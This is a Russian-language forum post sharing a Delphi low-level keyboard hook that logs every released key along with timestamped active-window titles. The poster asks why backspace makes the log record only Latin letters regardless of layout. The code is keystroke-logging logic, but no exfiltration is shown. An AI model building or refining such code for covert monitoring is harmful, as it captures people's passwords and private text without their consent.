[iem00]

Если кому поможет, часть проблемы решил. Лишние символы убираются так:

Код:

try
   Wnd:= GetForegroundWindow;
   GetWindowText(WND, wtext, Length(wtext)-1);
   if wtext<>PrevWindowName then   WriteLogLN(FormatDateTime('dd/mm/yyyy hh:nn:ss', Date+Time)+ '###ACTIVATE==='+wtext+ '+++'+'@@@');
   PrevWindowName:=wtext;
  <b> if (Code=HC_ACTION) and (wParam=WM_KEYUP)  then
   begin
     LKBDLLHOOKSTRUCT := PKeyboardLowLevelHookStruct(lParam);
     GetKeyboardState(KeyState);
     New(KeyName);
     ToAsciiEx(LKBDLLHOOKSTRUCT.vkCode, 0, KeyState, KeyName, 0, GetKeyboardLayout(0));
     WriteLog(KeyName[0]);
     if   LKBDLLHOOKSTRUCT.vkCode=VK_RETURN then WriteLogLNLittle('');
   end;</b>
   Result:=  CallNextHookEx(MSGHook, Code, wParam, lParam);
   except
   end;

WriteLog(KeyName[0]);

Но осталась проблема с раскладкой. Если хоть раз нажал backspace - печатает только латиницу, независимо от раскладки, т.е. вместо "а" печатает "f"...